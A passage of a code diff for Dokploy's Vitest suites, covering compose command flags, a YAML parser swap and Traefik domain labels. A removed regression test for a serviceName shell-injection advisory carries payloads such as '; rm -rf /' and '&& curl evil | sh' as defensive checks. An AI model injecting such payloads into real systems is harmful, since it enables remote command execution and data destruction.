expect(cmd).not.toContain("--project-directory");
expect(cmd.startsWith("stack deploy")).toBe(true);
});
it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => {
const cmd = createCommand(
{ ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain(
"--project-directory /etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("-f docker-compose.yml");
});
it("resolves build.context against the compose file's own directory when there are no mounts", () => {
const cmd = createCommand({
...base,
composePath: "./backend/docker-compose.yml",
} as any);
expect(cmd).not.toContain("--project-directory");
expect(cmd).toContain("-f ./backend/docker-compose.yml");
});
});
describe("compose createCommand --env-file", () => {
it("points --env-file at the generated .env next to a nested compose file", () => {
const cmd = createCommand(
{
...base,
composePath: "./deploy/docker-compose.yml",
createEnvFile: true,
} as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("--env-file deploy/.env");
expect(cmd).toContain(
"--project-directory /etc/dokploy/compose/compose-app/code",
);
});
it("omits --env-file when createEnvFile is disabled", () => {
const cmd = createCommand(
{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).not.toContain("--env-file");
});
it("uses the code-root .env for raw sourceType", () => {
const cmd = createCommand(
{
...base,
sourceType: "raw",
composePath: "docker-compose.yml",
createEnvFile: true,
} as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("--env-file .env");
});
it("does not add --env-file to stack deploy (unsupported flag)", () => {
const cmd = createCommand(
{
...base,
composeType: "stack",
composePath: "./deploy/docker-compose.yml",
createEnvFile: true,
} as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).not.toContain("--env-file");
});
});
@@ -1,44 +0,0 @@
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it } from "vitest";
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "github" as const,
composePath: "./docker-compose.yml",
command: "",
};
describe("compose createCommand --pull always", () => {
it("adds --pull always when pullImages is enabled", () => {
const cmd = createCommand({ ...base, pullImages: true } as any);
expect(cmd).toContain("up -d --build --remove-orphans --pull always");
});
it("omits --pull when pullImages is disabled", () => {
const cmd = createCommand({ ...base, pullImages: false } as any);
expect(cmd).not.toContain("--pull");
});
it("does not add --pull to stack deploy", () => {
const cmd = createCommand({
...base,
composeType: "stack",
pullImages: true,
} as any);
expect(cmd).not.toContain("--pull");
});
it("leaves a custom command untouched", () => {
const cmd = createCommand({
...base,
command: "compose -p compose-app up -d",
pullImages: true,
} as any);
expect(cmd).toBe("compose -p compose-app up -d");
});
});
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToAllProperties } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFile1 = `
version: "3.8"
@@ -61,7 +61,7 @@ secrets:
file: ./db_password.txt
`;
const expectedComposeFile1 = parse(`
const expectedComposeFile1 = load(`
version: "3.8"
services:
@@ -120,7 +120,7 @@ secrets:
`) as ComposeSpecification;
test("Add suffix to all properties in compose file 1", () => {
const composeData = parse(composeFile1) as ComposeSpecification;
const composeData = load(composeFile1) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllProperties(composeData, suffix);
@@ -185,7 +185,7 @@ secrets:
file: ./db_password.txt
`;
const expectedComposeFile2 = parse(`
const expectedComposeFile2 = load(`
version: "3.8"
services:
@@ -243,7 +243,7 @@ secrets:
`) as ComposeSpecification;
test("Add suffix to all properties in compose file 2", () => {
const composeData = parse(composeFile2) as ComposeSpecification;
const composeData = load(composeFile2) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllProperties(composeData, suffix);
@@ -308,7 +308,7 @@ secrets:
file: ./service_secret.txt
`;
const expectedComposeFile3 = parse(`
const expectedComposeFile3 = load(`
version: "3.8"
services:
@@ -366,7 +366,7 @@ secrets:
`) as ComposeSpecification;
test("Add suffix to all properties in compose file 3", () => {
const composeData = parse(composeFile3) as ComposeSpecification;
const composeData = load(composeFile3) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllProperties(composeData, suffix);
@@ -420,7 +420,7 @@ volumes:
driver: local
`;
const expectedComposeFile = parse(`
const expectedComposeFile = load(`
version: "3.8"
services:
@@ -467,7 +467,7 @@ volumes:
`) as ComposeSpecification;
test("Add suffix to all properties in Plausible compose file", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllProperties(composeData, suffix);
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToConfigsRoot, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -23,7 +23,7 @@ configs:
`;
test("Add suffix to configs in root property", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -59,7 +59,7 @@ configs:
`;
test("Add suffix to multiple configs in root property", () => {
const composeData = parse(composeFileMultipleConfigs) as ComposeSpecification;
const composeData = load(composeFileMultipleConfigs) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -92,7 +92,7 @@ configs:
`;
test("Add suffix to configs with different properties in root property", () => {
const composeData = parse(
const composeData = load(
composeFileDifferentProperties,
) as ComposeSpecification;
@@ -137,7 +137,7 @@ configs:
`;
// Expected compose file con el prefijo `testhash`
const expectedComposeFileConfigRoot = parse(`
const expectedComposeFileConfigRoot = load(`
version: "3.8"
services:
@@ -162,7 +162,7 @@ configs:
`) as ComposeSpecification;
test("Add suffix to configs in root property", () => {
const composeData = parse(composeFileConfigRoot) as ComposeSpecification;
const composeData = load(composeFileConfigRoot) as ComposeSpecification;
const suffix = "testhash";
@@ -3,8 +3,8 @@ import {
addSuffixToConfigsInServices,
generateRandomHash,
} from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFile = `
version: "3.8"
@@ -22,7 +22,7 @@ configs:
`;
test("Add suffix to configs in services", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -54,7 +54,7 @@ configs:
`;
test("Add suffix to configs in services with single config", () => {
const composeData = parse(
const composeData = load(
composeFileSingleServiceConfig,
) as ComposeSpecification;
@@ -108,7 +108,7 @@ configs:
`;
test("Add suffix to configs in services with multiple configs", () => {
const composeData = parse(
const composeData = load(
composeFileMultipleServicesConfigs,
) as ComposeSpecification;
@@ -157,7 +157,7 @@ services:
`;
// Expected compose file con el prefijo `testhash`
const expectedComposeFileConfigServices = parse(`
const expectedComposeFileConfigServices = load(`
version: "3.8"
services:
@@ -182,7 +182,7 @@ services:
`) as ComposeSpecification;
test("Add suffix to configs in services", () => {
const composeData = parse(composeFileConfigServices) as ComposeSpecification;
const composeData = load(composeFileConfigServices) as ComposeSpecification;
const suffix = "testhash";
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToAllConfigs, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -43,7 +43,7 @@ configs:
file: ./db-config.yml
`;
const expectedComposeFileCombinedConfigs = parse(`
const expectedComposeFileCombinedConfigs = load(`
version: "3.8"
services:
@@ -77,7 +77,7 @@ configs:
`) as ComposeSpecification;
test("Add suffix to all configs in root and services", () => {
const composeData = parse(composeFileCombinedConfigs) as ComposeSpecification;
const composeData = load(composeFileCombinedConfigs) as ComposeSpecification;
const suffix = "testhash";
@@ -122,7 +122,7 @@ configs:
file: ./db-config.yml
`;
const expectedComposeFileWithEnvAndExternal = parse(`
const expectedComposeFileWithEnvAndExternal = load(`
version: "3.8"
services:
@@ -159,7 +159,7 @@ configs:
`) as ComposeSpecification;
test("Add suffix to configs with environment and external", () => {
const composeData = parse(
const composeData = load(
composeFileWithEnvAndExternal,
) as ComposeSpecification;
@@ -200,7 +200,7 @@ configs:
file: ./db-config.yml
`;
const expectedComposeFileWithTemplateDriverAndLabels = parse(`
const expectedComposeFileWithTemplateDriverAndLabels = load(`
version: "3.8"
services:
@@ -231,7 +231,7 @@ configs:
`) as ComposeSpecification;
test("Add suffix to configs with template driver and labels", () => {
const composeData = parse(
const composeData = load(
composeFileWithTemplateDriverAndLabels,
) as ComposeSpecification;
@@ -1,69 +0,0 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
enabled: true,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});
@@ -1,306 +0,0 @@
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { beforeEach, describe, expect, it, vi } from "vitest";
// With sourceType "raw", addDomainToCompose parses compose.composeFile
// directly instead of reading from disk, so baseCompose exposes it as a
// getter that always reflects the current composeYaml for each test case.
const baseComposeYaml = `
services:
frigate:
image: frigate
`;
let composeYaml = baseComposeYaml;
const baseCompose = {
appName: "test-app",
composeType: "docker-compose",
composePath: "docker-compose.yml",
sourceType: "raw",
serverId: null,
isolatedDeployment: false,
randomize: false,
suffix: "",
get composeFile() {
return composeYaml;
},
} as unknown as Compose;
const baseDomain: Domain = {
host: "frigate.example.com",
port: 8971,
customEntrypoint: null,
https: false,
uniqueConfigKey: 1,
customCertResolver: null,
certificateType: "none",
applicationId: "",
composeId: "compose-id",
domainType: "compose",
serviceName: "frigate",
domainId: "domain-id",
path: "/",
createdAt: "",
previewDeploymentId: "",
internalPath: "/",
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
const serviceLabels = (
result: Awaited<ReturnType<typeof addDomainToCompose>>,
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
describe("addDomainToCompose enabled filtering", () => {
beforeEach(() => {
vi.clearAllMocks();
composeYaml = baseComposeYaml;
});
it("generates traefik labels for an enabled domain", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: true },
]);
const labels = serviceLabels(result);
expect(labels).toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
true,
);
});
it("skips a disabled domain entirely (no traefik labels)", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: false },
]);
const labels = serviceLabels(result);
expect(labels).not.toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
false,
);
});
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
- traefik.enable=true
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
- custom.label=preserved
`,
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
- traefik.enable=true
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
- custom.label=preserved
`,
],
] as const)(
"removes stale labels for a disabled domain from %s rebuilds",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: false },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toContain("custom.label=preserved");
expect(
(labels as string[]).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
legacy:
image: frigate
labels:
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- custom.label=preserved
frigate:
image: frigate
`,
],
[
"stack",
`services:
legacy:
image: frigate
deploy:
labels:
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- custom.label=preserved
frigate:
image: frigate
`,
],
] as const)(
"removes stale labels from the previous %s service after reassignment",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, serviceName: "frigate", enabled: false },
]);
const previousService = result?.services?.legacy;
const labels =
composeType === "docker-compose"
? previousService?.labels
: previousService?.deploy?.labels;
expect(labels).toContain("custom.label=preserved");
expect(
(labels as string[]).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
custom.label: preserved
`,
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
custom.label: preserved
`,
],
] as const)(
"removes stale mapping labels for a disabled domain from %s rebuilds",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: false },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toMatchObject({ "custom.label": "preserved" });
expect(
Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
custom.label: preserved
`,
"traefik.docker.network",
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
custom.label: preserved
`,
"traefik.swarm.network",
],
] as const)(
"regenerates routing in mapping labels for an enabled domain in %s",
async (composeType, mappingComposeYaml, networkLabel) => {
composeYaml = mappingComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: true },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toMatchObject({
"custom.label": "preserved",
"traefik.enable": "true",
[networkLabel]: "dokploy-network",
"traefik.http.routers.test-app-1-web.rule":
"Host(`frigate.example.com`)",
"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
});
},
);
it("emits labels only for the enabled domain when both are present", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, host: "enabled.example.com", enabled: true },
{
...baseDomain,
host: "disabled.example.com",
uniqueConfigKey: 2,
enabled: false,
},
]);
const labels = serviceLabels(result);
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
true,
);
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
false,
);
});
});
@@ -1,219 +0,0 @@
import type { Domain } from "@dokploy/server";
import { createDomainLabels } from "@dokploy/server";
import { describe, expect, it } from "vitest";
import { parse, stringify } from "yaml";
/**
* Regression tests for Traefik Host rule label format.
*
* These tests verify that the Host rule is generated with the correct format:
* - Host(`domain.com`) - with opening and closing parentheses
* - Host(`domain.com`) && PathPrefix(`/path`) - for path-based routing
*
* Issue: https://github.com/Dokploy/dokploy/issues/3161
* The bug caused Host rules to be malformed as Host`domain.com`)
* (missing opening parenthesis) which broke all domain routing.
*/
describe("Host rule format regression tests", () => {
const baseDomain: Domain = {
host: "example.com",
port: 8080,
https: false,
uniqueConfigKey: 1,
customCertResolver: null,
certificateType: "none",
applicationId: "",
composeId: "",
domainType: "compose",
serviceName: "test-app",
domainId: "",
path: "/",
createdAt: "",
previewDeploymentId: "",
internalPath: "/",
stripPath: false,
customEntrypoint: null,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
describe("Host rule format validation", () => {
it("should generate Host rule with correct parentheses format", async () => {
const labels = await createDomainLabels("test-app", baseDomain, "web");
const ruleLabel = labels.find((l) => l.includes(".rule="));
expect(ruleLabel).toBeDefined();
// Verify exact format: Host(`domain`)
expect(ruleLabel).toMatch(/Host\(`[^`]+`\)/);
// Ensure opening parenthesis is present after Host
expect(ruleLabel).toContain("Host(`example.com`)");
// Ensure it does NOT have the malformed format
expect(ruleLabel).not.toMatch(/Host`[^`]+`\)/);
});
it("should generate PathPrefix with correct parentheses format", async () => {
const labels = await createDomainLabels(
"test-app",
{ ...baseDomain, path: "/api" },
"web",
);
const ruleLabel = labels.find((l) => l.includes(".rule="));
expect(ruleLabel).toBeDefined();
// Verify PathPrefix format
expect(ruleLabel).toMatch(/PathPrefix\(`[^`]+`\)/);
expect(ruleLabel).toContain("PathPrefix(`/api`)");
// Ensure opening parenthesis is present
expect(ruleLabel).not.toMatch(/PathPrefix`[^`]+`\)/);
});
it("should generate combined Host and PathPrefix with correct format", async () => {
const labels = await createDomainLabels(
"test-app",
{ ...baseDomain, path: "/api/v1" },
"websecure",
);
const ruleLabel = labels.find((l) => l.includes(".rule="));
expect(ruleLabel).toBeDefined();
expect(ruleLabel).toBe(
"traefik.http.routers.test-app-1-websecure.rule=Host(`example.com`) && PathPrefix(`/api/v1`)",
);
});
});
describe("YAML serialization preserves Host rule format", () => {
it("should preserve Host rule format through YAML stringify/parse", async () => {
const labels = await createDomainLabels("test-app", baseDomain, "web");
const ruleLabel = labels.find((l) => l.includes(".rule="));
// Simulate compose file structure
const composeSpec = {
services: {
myapp: {
image: "nginx",
labels: labels,
},
},
};
// Stringify to YAML
const yamlOutput = stringify(composeSpec, { lineWidth: 1000 });
// Parse back
const parsed = parse(yamlOutput) as typeof composeSpec;
const parsedRuleLabel = parsed.services.myapp.labels.find((l: string) =>
l.includes(".rule="),
);
// Verify format is preserved
expect(parsedRuleLabel).toBe(ruleLabel);
expect(parsedRuleLabel).toContain("Host(`example.com`)");
expect(parsedRuleLabel).not.toMatch(/Host`[^`]+`\)/);
});
it("should preserve complex rule format through YAML serialization", async () => {
const labels = await createDomainLabels(
"test-app",
{ ...baseDomain, path: "/api", https: true },
"websecure",
);
const composeSpec = {
services: {
myapp: {
labels: labels,
},
},
};
const yamlOutput = stringify(composeSpec, { lineWidth: 1000 });
const parsed = parse(yamlOutput) as typeof composeSpec;
const parsedRuleLabel = parsed.services.myapp.labels.find((l: string) =>
l.includes(".rule="),
);
expect(parsedRuleLabel).toContain(
"Host(`example.com`) && PathPrefix(`/api`)",
);
});
});
describe("Edge cases for domain names", () => {
const domainCases = [
{ name: "simple domain", host: "example.com" },
{ name: "subdomain", host: "app.example.com" },
{ name: "deep subdomain", host: "api.v1.app.example.com" },
{ name: "numeric domain", host: "123.example.com" },
{ name: "hyphenated domain", host: "my-app.example-host.com" },
{ name: "localhost", host: "localhost" },
{ name: "IP address style", host: "192.168.1.100" },
];
for (const { name, host } of domainCases) {
it(`should generate correct Host rule for ${name}: ${host}`, async () => {
const labels = await createDomainLabels(
"test-app",
{ ...baseDomain, host },
"web",
);
const ruleLabel = labels.find((l) => l.includes(".rule="));
expect(ruleLabel).toBeDefined();
expect(ruleLabel).toContain(`Host(\`${host}\`)`);
// Verify parenthesis is present
expect(ruleLabel).toMatch(
new RegExp(`Host\\(\\\`${host.replace(/\./g, "\\.")}\\\`\\)`),
);
});
}
});
describe("Multiple domains scenario", () => {
it("should generate correct format for both web and websecure entrypoints", async () => {
const webLabels = await createDomainLabels("test-app", baseDomain, "web");
const websecureLabels = await createDomainLabels(
"test-app",
baseDomain,
"websecure",
);
const webRule = webLabels.find((l) => l.includes(".rule="));
const websecureRule = websecureLabels.find((l) => l.includes(".rule="));
// Both should have correct format
expect(webRule).toContain("Host(`example.com`)");
expect(websecureRule).toContain("Host(`example.com`)");
// Neither should have malformed format
expect(webRule).not.toMatch(/Host`[^`]+`\)/);
expect(websecureRule).not.toMatch(/Host`[^`]+`\)/);
});
});
describe("Special characters in paths", () => {
const pathCases = [
{ name: "simple path", path: "/api" },
{ name: "nested path", path: "/api/v1/users" },
{ name: "path with hyphen", path: "/api-v1" },
{ name: "path with underscore", path: "/api_v1" },
];
for (const { name, path } of pathCases) {
it(`should generate correct PathPrefix for ${name}: ${path}`, async () => {
const labels = await createDomainLabels(
"test-app",
{ ...baseDomain, path },
"web",
);
const ruleLabel = labels.find((l) => l.includes(".rule="));
expect(ruleLabel).toBeDefined();
expect(ruleLabel).toContain(`PathPrefix(\`${path}\`)`);
// Verify parenthesis is present
expect(ruleLabel).not.toMatch(/PathPrefix`[^`]+`\)/);
});
}
});
});
@@ -7,7 +7,6 @@ describe("createDomainLabels", () => {
const baseDomain: Domain = {
host: "example.com",
port: 8080,
customEntrypoint: null,
https: false,
uniqueConfigKey: 1,
customCertResolver: null,
@@ -22,9 +21,6 @@ describe("createDomainLabels", () => {
previewDeploymentId: "",
internalPath: "/",
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
it("should create basic labels for web entrypoint", async () => {
@@ -105,51 +101,6 @@ describe("createDomainLabels", () => {
);
});
it("should add tls=true for certificateType none on websecure entrypoint", async () => {
const noneDomain = {
...baseDomain,
https: true,
certificateType: "none" as const,
};
const labels = await createDomainLabels(appName, noneDomain, "websecure");
expect(labels).toContain(
"traefik.http.routers.test-app-1-websecure.tls=true",
);
// no cert resolver should be set when relying on a default/custom cert
expect(labels).not.toContain(
"traefik.http.routers.test-app-1-websecure.tls.certresolver=letsencrypt",
);
});
it("should not add tls=true for certificateType none on web entrypoint", async () => {
const noneDomain = {
...baseDomain,
https: true,
certificateType: "none" as const,
};
const labels = await createDomainLabels(appName, noneDomain, "web");
expect(labels).not.toContain(
"traefik.http.routers.test-app-1-web.tls=true",
);
});
it("should add tls=true for certificateType none on a custom https entrypoint", async () => {
const noneDomain = {
...baseDomain,
https: true,
customEntrypoint: "websecure-custom",
certificateType: "none" as const,
};
const labels = await createDomainLabels(
appName,
noneDomain,
"websecure-custom",
);
expect(labels).toContain(
"traefik.http.routers.test-app-1-websecure-custom.tls=true",
);
});
it("should handle different ports correctly", async () => {
const customPortDomain = { ...baseDomain, port: 3000 };
const labels = await createDomainLabels(appName, customPortDomain, "web");
@@ -220,12 +171,12 @@ describe("createDomainLabels", () => {
"websecure",
);
// Web entrypoint with HTTPS should only have redirect
// Web entrypoint should have both middlewares with redirect first
expect(webLabels).toContain(
"traefik.http.routers.test-app-1-web.middlewares=redirect-to-https@file",
"traefik.http.routers.test-app-1-web.middlewares=redirect-to-https@file,addprefix-test-app-1",
);
// Websecure should have the addprefix middleware
// Websecure should only have the addprefix middleware
expect(websecureLabels).toContain(
"traefik.http.routers.test-app-1-websecure.middlewares=addprefix-test-app-1",
);
@@ -257,9 +208,9 @@ describe("createDomainLabels", () => {
"traefik.http.middlewares.addprefix-test-app-1.addprefix.prefix=/hello",
);
// Web router with HTTPS should only have redirect
// Should have middlewares in correct order: redirect, stripprefix, addprefix
expect(webLabels).toContain(
"traefik.http.routers.test-app-1-web.middlewares=redirect-to-https@file",
"traefik.http.routers.test-app-1-web.middlewares=redirect-to-https@file,stripprefix-test-app-1,addprefix-test-app-1",
);
});
@@ -289,259 +240,4 @@ describe("createDomainLabels", () => {
"traefik.http.routers.test-app-1-websecure.middlewares=stripprefix-test-app-1,addprefix-test-app-1",
);
});
it("should add single custom middleware to router", async () => {
const customMiddlewareDomain = {
...baseDomain,
middlewares: ["auth@file"],
};
const labels = await createDomainLabels(
appName,
customMiddlewareDomain,
"web",
);
expect(labels).toContain(
"traefik.http.routers.test-app-1-web.middlewares=auth@file",
);
});
it("should add multiple custom middlewares to router", async () => {
const customMiddlewareDomain = {
...baseDomain,
middlewares: ["auth@file", "rate-limit@file"],
};
const labels = await createDomainLabels(
appName,
customMiddlewareDomain,
"web",
);
expect(labels).toContain(
"traefik.http.routers.test-app-1-web.middlewares=auth@file,rate-limit@file",
);
});
it("should only have redirect on web router when HTTPS is enabled with custom middlewares", async () => {
const combinedDomain = {
...baseDomain,
https: true,
middlewares: ["auth@file"],
};
const labels = await createDomainLabels(appName, combinedDomain, "web");
// Web router with HTTPS should only redirect, custom middlewares go on websecure
expect(labels).toContain(
"traefik.http.routers.test-app-1-web.middlewares=redirect-to-https@file",
);
expect(labels).not.toContain("auth@file");
});
it("should combine custom middlewares with stripPath middleware (no HTTPS)", async () => {
const combinedDomain = {
...baseDomain,
path: "/api",
stripPath: true,
middlewares: ["auth@file"],
};
const labels = await createDomainLabels(appName, combinedDomain, "web");
// stripprefix should come before custom middleware
expect(labels).toContain(
"traefik.http.routers.test-app-1-web.middlewares=stripprefix-test-app-1,auth@file",
);
});
it("should only have redirect on web router even with all built-in middlewares and custom middlewares", async () => {
const fullDomain = {
...baseDomain,
https: true,
path: "/api",
stripPath: true,
internalPath: "/hello",
middlewares: ["auth@file", "rate-limit@file"],
};
const webLabels = await createDomainLabels(appName, fullDomain, "web");
// Web router with HTTPS should only redirect
expect(webLabels).toContain(
"traefik.http.routers.test-app-1-web.middlewares=redirect-to-https@file",
);
// Middleware definitions should still be present (Traefik needs them registered)
expect(webLabels).toContain(
"traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api",
);
expect(webLabels).toContain(
"traefik.http.middlewares.addprefix-test-app-1.addprefix.prefix=/hello",
);
// But they should NOT be attached to the router
expect(webLabels).not.toContain("stripprefix-test-app-1,");
expect(webLabels).not.toContain("auth@file");
expect(webLabels).not.toContain("rate-limit@file");
});
it("should include custom middlewares on websecure entrypoint", async () => {
const customMiddlewareDomain = {
...baseDomain,
https: true,
middlewares: ["auth@file"],
};
const websecureLabels = await createDomainLabels(
appName,
customMiddlewareDomain,
"websecure",
);
// Websecure should have custom middleware but not redirect-to-https
expect(websecureLabels).toContain(
"traefik.http.routers.test-app-1-websecure.middlewares=auth@file",
);
expect(websecureLabels).not.toContain("redirect-to-https");
});
it("should NOT include custom middlewares on web router when HTTPS is enabled (only redirect)", async () => {
const domain = {
...baseDomain,
https: true,
middlewares: ["rate-limit@file", "auth@file"],
};
const webLabels = await createDomainLabels(appName, domain, "web");
// Web router with HTTPS should ONLY have redirect, not custom middlewares
expect(webLabels).toContain(
"traefik.http.routers.test-app-1-web.middlewares=redirect-to-https@file",
);
expect(webLabels).not.toContain("rate-limit@file");
expect(webLabels).not.toContain("auth@file");
});
it("should create basic labels for custom entrypoint", async () => {
const labels = await createDomainLabels(
appName,
{ ...baseDomain, customEntrypoint: "custom" },
"custom",
);
expect(labels).toEqual([
"traefik.http.routers.test-app-1-custom.rule=Host(`example.com`)",
"traefik.http.routers.test-app-1-custom.entrypoints=custom",
"traefik.http.services.test-app-1-custom.loadbalancer.server.port=8080",
"traefik.http.routers.test-app-1-custom.service=test-app-1-custom",
]);
});
it("should create https labels for custom entrypoint", async () => {
const labels = await createDomainLabels(
appName,
{
...baseDomain,
https: true,
customEntrypoint: "custom",
certificateType: "letsencrypt",
},
"custom",
);
expect(labels).toEqual([
"traefik.http.routers.test-app-1-custom.rule=Host(`example.com`)",
"traefik.http.routers.test-app-1-custom.entrypoints=custom",
"traefik.http.services.test-app-1-custom.loadbalancer.server.port=8080",
"traefik.http.routers.test-app-1-custom.service=test-app-1-custom",
"traefik.http.routers.test-app-1-custom.tls.certresolver=letsencrypt",
]);
});
it("should add stripPath middleware for custom entrypoint", async () => {
const labels = await createDomainLabels(
appName,
